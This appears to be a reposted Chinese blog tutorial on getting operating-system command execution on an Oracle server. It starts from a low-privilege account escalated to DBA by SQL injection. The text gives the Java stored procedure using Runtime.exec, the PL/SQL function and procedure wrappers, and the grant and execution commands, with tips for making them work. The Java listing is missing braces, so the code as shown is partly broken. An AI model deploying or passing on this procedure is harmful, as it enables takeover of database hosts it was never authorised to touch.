前奏:
需要利用有REscourse權限的使用者比如SCOTT登入Oracle并用SQLInjection提權至DBA權限
網上有一種執行OS指令的方法:
c:\1.sql
create or replace and compile
java souRCe named "util"
as
import java.io.*;
import java.lang.*;
public class util extends Object
{
public static int RunThis(String args)
Runtime rt = Runtime.getRuntime();
int RC = -1;
try
Process p = rt.exec(args);
int bufSize = 4096;
BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize);
int len;
byte buffer[] = new byte[bufSize];
// Echo back what the program spit out
while ((len = bis.read(buffer, 0, bufSize)) != -1)
System.out.write(buffer, 0, len);
RC = p.waitFor();
}
catch (Exception e)
e.printStackTrace();
RC = -1;
finally
return RC;
c:\2.sql
create or replace
function RUN_CMz(p_cmd in varchar2) return number
language java
name 'util.RunThis(java.lang.String) return integer';
c:\3.sql
create or replace procedure RC(p_cmd in varChar)
x number;
begin
x := RUN_CMz(p_cmd);
end;
登陸上去後依舊是依次執行
SQL> @c:\1.sql
/
@c:\2.sql
/
@c:\3.sql
/
variable x number;
set serveroutput on;
exec dbms_java.set_output(100000);
grant javasyspriv to system;
grant javauserpriv to system; 網上的方法沒有這一行,我無法成功,加上去可以
exec :x:=run_cmz('ipconfig');
注意:最後加亮的兩句~這裡的system要對應你登入的使用者名~比如用scott登入的~就要更改為scott,另外如果第一次執行錯誤要退出後從新登入再順序執行~否則Oracle會一直提示權限不夠~
本文轉sinojelly51CTO部落格,原文連結:http://blog.51cto.com/pnig0s1992/397547,如需轉載請自行聯系原作者